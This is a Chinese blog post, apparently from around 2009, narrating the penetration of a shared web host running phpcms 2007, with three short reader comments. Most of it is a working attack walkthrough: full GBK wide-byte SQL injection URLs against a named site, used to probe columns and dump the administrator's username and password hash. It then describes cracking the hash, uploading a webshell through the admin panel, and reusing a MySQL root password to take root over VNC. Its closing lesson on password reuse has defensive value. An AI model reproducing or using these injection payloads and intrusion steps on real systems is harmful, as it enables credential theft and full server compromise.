文/、Beach

渗透的主机是一朋友的,双线架设的虚拟主机,里面有几个站,架构是apache+php+mysql。在测试前,信息收集是很重要的。从系统信息、数据库信息、网络设备信息、管理员的信息等,都是值的统计分析和利用的。先对主机来端口扫描:

由图可知:这台服务器开放了80、443、5901等端口,开放了WEB、https、VNC等端口。由于是虚拟主机,确认其有多少个域名和网站,是旁注的第一步。使用虚拟主机站点查询工具,进行查询:

由上图可知,此IP上共有七个站点。随便浏览了这七个站点,其中有个站好像有问题。如下图:

很眼熟的phpcms标志。既然有主站在使用开源的CMS,值得“深入”。拿出wwwscan工具进行进一步扫描。

扫描结束后,告诉了几个目录,一一访问,寻找有没有敏感信息。

一个管理员界面,说明phpcms是2007版的。从分析结果来看,其一网站使用了phpcms2007版的程序,在Web应用程序渗透测试,注入是很常见的手法了。记得有个很经典的多字节编码漏洞。其漏洞引发的原理是:0xbf27不是有一个有效的GBK字符,但是经过addslashed()转换后就变成0xbf5c27,0xbf5c是个有效的GBK字符,所以0xbf5c27会当作一个字符0xbf5c和一个单绰号来处理,结果是跟在引号后查询语句得到了执行。在phpcms2007程序里由多字节编码漏洞引发的漏洞有多个,以area.php文件里的漏洞来作测试。
提交URL:http://www.nuanyue.com/area.php?action=city&province=%BF%27

很经典的一个多字节编码漏洞的网页。继续提交来判断列数:
http://www.nuanyue.com/area.php?action=city&province=%BF%27 order by 1/**

由上图可知,返回正常网页。继续提交URL:
http://www.nuanyue.com/area.php?action=city&province=%BF%27 order by 2/**

返回不正常网页。
说明列数值是1,继续提交:
http://www.nuanyue.com/area.php?action=city&province=%BF%27/**/union/**/select/**/user()/**

看来网站连接数据库的权限很大。还可以通过version(),data()..等收集信息。直接暴露phpcmd后台的管理员和密码。利用后台可以上传编辑php文件获取WebShell。继续提交:
http://www.nuanyue.com/area.php?action=city&province=%BF\%27/**/union/**/select/**/CONCAT(username,password)/**/from%20phpcms_member%20where%20userid=1/*

由上图可以知道,网站的管理员是phpcms,而密码是32MD加密的。可以直接去md5相关网站去查询如图:

已经知道管理后台帐号和密码了。直接进后台去上传脚本木马了。由于phpcms程序在后台上传php脚本没有限制,所以得到后台,就可以上传脚本木马。

其次渗透测试利用的方法主要是旁注,旁注的意义在于“曲径通幽”,进而获取系统权限。在此之前,收集数据库信息、系统信息、网站信息和系统管理员的信息进行综合分析利用,在社工是有意义的。在获取一网站的权限,我们进行分析。

获取系统的mysql的管理员帐号是root,密码是12*。许多管理员有密码系统多用的情况,来试试vnc是不是也用这个密码?

直接进去了,获取root权限,连用exp来提权都省了。“三分技术,七分管理”,很好的验证,一个密码多用或者密码有规律的都是存在风险的。

: http://www.nuanyue.com/%e4%b8%80%e6%ac%a1%e7%ae%80%e5%8d%95%e7%9a%84%e2%80%9c%e6%97%81%e6%b3%a8%e2%80%9d%e6%b8%97%e9%80%8f.html

本文相关评论 - 才 3 条评论
yunshu
2009-12-31 14:20:27

什么年代了……

领导
2009-12-31 17:14:01

写的真好啊!

2010-07-08 09:29:31

[...] 原文地址:http://www.nuanyue.com/%e4%b8%80%e6%ac%a1%e7%ae%80%e5%8d%95%e7%9a%84%e2%80%9c%e6%97%81%e6%b3%a8%e2%8… [...]